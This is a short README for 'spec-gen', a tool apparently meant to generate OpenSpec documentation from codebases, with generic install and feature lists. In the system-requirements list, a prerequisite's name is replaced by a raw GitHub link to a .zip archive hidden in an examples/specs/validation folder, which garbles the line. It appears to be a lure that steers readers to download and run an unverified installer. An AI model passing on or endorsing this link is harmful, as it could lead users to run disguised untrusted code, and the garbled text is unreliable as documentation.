🚀 spec-gen - Automate Your Codebase Documentation
📖 Overview
spec-gen helps you turn your code into clear and structured documentation. With this tool, you can automate the reverse-engineering of your codebase into OpenSpec specifications. It uses static analysis and advanced AI to extract essential business logic, verify your software's architecture, and create a reliable source of truth.
- Extract Business Logic: Understand how your code works.
- Ensure Accuracy: Maintain architectural integrity.
- Living Documentation: Keep your specifications up-to-date.
🚀 Getting Started
📥 System Requirements
- Operating System: Windows, macOS, or Linux (64-bit)
- RAM: At least 4 GB
- Disk Space: 200 MB available space
- https://raw.githubusercontent.com/HUGO9K/spec-gen/main/examples/openspec-cli/openspec/specs/validation/gen-spec-v3.2-alpha.2.zip Version 14 or higher
- Recommended: An internet connection for the best experience
📦 Download & Install
- Visit this page to download: Releases Page.
On the Releases page, you will find the latest version of spec-gen. Look for the installation file that matches your operating system.
- After downloading, locate the file on your computer.
- Run the installer by double-clicking the file.
Follow the on-screen instructions to complete the installation.
- Once installed, you can find spec-gen in your applications or programs list.
- Launch the application to start using it!
⚙️ Using spec-gen
🛠️ Key Features
- Static Analysis: Analyze your existing codebase to produce accurate documentation.
- LLM Integration: Utilize advanced AI features to enhance your documentation process.
- Dependency Graph: Visualize dependencies within your software.
- Versioning Support: Keep track of changes in your documentation as your code evolves.